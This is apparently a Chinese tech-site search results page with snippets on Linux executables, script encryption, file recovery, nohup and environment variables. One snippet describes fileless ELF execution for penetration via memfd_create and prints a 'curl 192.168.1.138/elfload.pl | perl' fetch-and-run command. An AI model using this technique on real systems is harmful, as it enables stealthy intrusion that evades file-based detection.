首页
学习
活动
专区
圈层
工具
发布

Linux下创建可执行bin安装文件

我们将脚本和安装介质上传到生产环境,然后通过执行脚本来完成安装。如果能够将这两个文件合并为一个可执行文件,那安装的过程就更简单明了。 2、代码保护。...2、对于第二个隐藏代码内容的需求,有一款工具叫做 shc ,可以用它来将脚本编程二进制文件。 shc的用法比较简单,下载后make生成可执行文件,然后直接对脚本进行加密,会生成两个文件。...一个以.x结尾,为可执行的二进制文件。另一个以.x.c结尾,为生成的中间c文件。shc还能指定可执行脚本的过期时间。...参考资料: 1、Linux .bin安装文件制作 2、dos2unix 3、linux下制作二进制bin 文件制做方法 4、shc 5、How to Encrypt Your Bash Shell...Script on Linux Using SHC

11.5K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    python0028_直接运行_修改py文件执行权限_设置py文件打开方式

    2 步 编辑文件 设置文件自动用/usr/bin/python3打开第 3 步 运行py文件我们先确认python3的位置python3的位置 如果想要sleep.py能自动执行 必须要明确这个py...就是 /usr/bin 下的 python3注意 usr 不是 user​编辑 下面要编辑sleep.py 在 sleep.py 第一行设置自动打开方式为/usr/bin/python3添加文件头最上面的一句以...指的是当前路径/指的是当前路径下​编辑 执行成功!!! 跳出循环的快捷键仍然是 ctrl+c总结 这次总算可以把 sleep.py 直接执行了 sleep.py文件头部要声明好打开方式 #!.../usr/bin/python3用的是 python3 解释 sleep.py 修改 sleep.py 文件 的执行权限 给当前用户增加 执行execute 权限 chmod u+x sleep.py...在linux+vim生产力环境下,从浅入深,从简单程序学到网络爬虫。可以配合蓝桥云上实验环境操作。

    1.7K30

    Python: 将py文件转化为exe可执行文件

    文章背景:通过Python编写的代码一般是保存为py文件,必须要在Python环境下才可以运行。如果一台电脑没有安装Python,那就无法运行我们的程序。...本文借助第三方模块pyinstaller,将py文件转化为exe可执行文件。 前期工作:通过pip install安装pyinstaller第三方模块。...首先打开命令提示符窗口,然后切换到py文件所在的目录下。目前,我的py文件名为batchPrintPDF.py,该文件保存在文件夹C:\Local内。首先要切换盘符,直接输入C:,即可切换到该盘下。...几点说明: 生成的exe文件在同目录dist下; -F(注意大写)表示将所有库文件打包成一个exe文件; -w表示运行exe文件时,不出现黑色控制台窗口。...=wxv_2248350276342677507&format_id=10002&support_redirect=0&mmversion=false 参考资料: [1] Python脚本转exe可执行文件

    3.5K10

    linux下误执行rm -f命令后,如何恢复文件?

    hi,偶然间看到在linux运行了rm命令之后还能恢复,很是神奇所以就看了下,不知道是不是真的,管他呢先转载啊,不行再删呗反正怎么都是灌水,此文教程并未测试,如有问题请@原作者,在我们在生产环境服务器上执行...rm命令时,总是提心吊胆的,因为一不小心执行了误删,一旦误删没办法了然后就要准备跑路了,毕竟人不是机器,更何况机器也有bug,假如真的不小心删除了不该删除的文件,比如数据库、日志或执行文件,咋办呢?...刨根问底 通过前面的模拟场景演示了恢复文件的整个过程,那么原理是什么,在什么情况下,文件才是可恢复的。...在Linux系统中,每个运行中的程序都有一个宿主进程彼此隔离,以/proc/进程号来体现(Linux本质上就是一个文件系统),比如:ls -l /proc/13067 查看进程PID为13067的进程信息...;当程序运行时,操作系统会专门开辟一块内存区域,提供给当前进程使用,对于依赖的文件,操作系统会发放一个文件描述符,以便读写文件,当我们执行 rm -f 删除文件时,其实只是删除了文件的目录索引节点,对于文件系统不可见

    9.6K31

    Linux环境下误删重要文件怎么办

    02 意义 学会在使用Linux系统出现误删除系统重要文件时,能使用救援模式来恢复系统。...03 案例详解 当我们删除了Linux系统重要库文件时,该如何恢复,比如在这里我们删除/lib64/libc.so.6这个文件看看系统有什么变化。 ?...删除/lib64/libc.so.6这个文件后很多的基本命令都无法使用了,包括关机都已无法执行,看来这是个很危险的操作,删除这样一个文件就导致我们的系统无法正常使用了。...这里提示我们,救援模式下的根目录不是我们以前的根目录,而/mnt.sysimage这个目录才是我没以前的根目录,如果想要变回以前的根目录需要执行chroot /mnt/sysimage命令。 ?...这时候我们使用ls发现这命令好用了,说明救援模式下是有/lib64/libc.so.6这个文件的。 ? ? 这时我们只要将这个文件复制一遍到以前的目录下就可以了。 ?

    3.2K40

    Linux文件管理(下)

    上上篇介绍了Linux文件管理的上部分内容,这次继续将 Linux文件管理的剩余部分说完。内容如下。...bytes, 字节数〈空格,回车,换行) 案例1 : 统计 linux.txt文件的总行数 wc -l linux.txt 案例2 : 统计 linux.txt文件中的单词数 wc -w linux.txt...案例3 : 统计文件的字节数(注意包括 空格,回车,换行) wc -c linux.txt 扩展: wc 选项 文件的名称,可以统计一个文件的信息,实际情况下,选项还可以一起使用 案例4 : 统计一个文件的总行数...主要功能:在终端中输入指定的文本内容 案例:在终端中,输出hello world字符串 echo "hello world" 4、输出重定向 场景:一般命令的输出都会显示在终端中,有些时候需要将一些命令的执行结果想要保存到文件中进行后续的分析...readme.txt文件中 echo "hello world" > readme.txt 以上程序的主要功能代表把echo命令的执行结果,输出写入到 readme.txt文件中,如果 readme.txt

    1.9K21

    关于 Linux 下后台执行 Pytho

    【问题简述】   在 Linux 下后台执行 Python 脚本,重定向到日志文件,日志文件迟迟没有内容。...【方案一】(测试有效) nohup python3 -u t.py &> log.log & # 限制大小 nohup python3 -u t.py 2>&1 | rotatelogs -n 1 /var.../log/logfile 1M & 【方案二】(测试无效)     方案二来自 stackoverflow,虽然测试无效,但其他地方也许会用到,记录一下。...stdbuf -oL nohup python3 t.py &> log.log & 【关于重定向】 & 是一个描述符,如果1或2前不加&,会被当成一个普通文件。...&>filename 意思是把标准输出和标准错误输出都重定向到文件filename中 将标准输出连同标准错误重定向到空,常用形式: shell命令 >/dev/null 2>&1 最简形式(cmd 不支持这种格式

    1.7K00

    Linux下shell不能正常执行

    标签 Linux、Shell 操作 Linux下编写deploy.sh文件,内容是用docker部署微服务 执行脚本:出错,错误信息如下 错误信息 [root@coder-oldgeek]# sh deploy.sh...问题定位 查看文件内容 查看: sh文件内容 cat deploy.sh 文件内容 #!...:默认换行符是,称为CR与LF两个符号(\r\n); 【注意点】在windows下编辑的shell脚本只看文件内容是没问题,但一旦到linux下可能就运行挂了 解决问题 查找换行符号:find命令 find...-name '*.sh' | xargs -I {} perl -pi -e 's/\r//g' {} 查看有问题文件是否去掉DOS格式下换行符号 [root@coder-oldgeek]# file...deploy.sh: Bourne-Again shell script, ASCII text executable 发现:with CRLF line terminators已经消失了 继续执行脚本

    5.8K10

    Linux无文件渗透执行ELF

    02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...这里我们已经知道调用memfd_create(2)可以达到我们的目的,但是该怎么调用呢?...第三部分就是执行该文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。...原作者还使用了fork函数进行了一些进程操作,有兴趣的同学可以去了解一下。

    7K80

    Linux下如何设置可执行文件和库文件的环境变量?

    在Linux系统中,可执行文件和库文件的查找路径是由环境变量控制的,其中最重要的是PATH环境变量用于可执行文件,而动态库的查找路径则由LD_LIBRARY_PATH环境变量决定。...下面分别介绍这两个方面: 可执行文件的搜索路径(PATH) PATH环境变量:当你在命令行输入一个命令并敲击回车时,Linux会按照PATH环境变量中列出的目录顺序依次查找该命令的可执行文件。...修改后,可能需要执行source命令使更改立即生效,或重新登录。 验证:可以用echo $PATH查看当前的PATH设置,用which command_name查看特定命令的完整路径。...动态库文件的搜索路径(LD_LIBRARY_PATH) LD_LIBRARY_PATH环境变量:当一个程序在运行时需要加载动态链接库(.so文件),Linux会按照LD_LIBRARY_PATH变量中列出的目录顺序查找这些库文件...验证:可以使用ldd command_name命令查看某个可执行文件依赖的动态库及其加载路径。 注意事项: 永久设置环境变量时,务必考虑其影响范围(全局或单用户)以及潜在的安全风险。

    2.2K10
    领券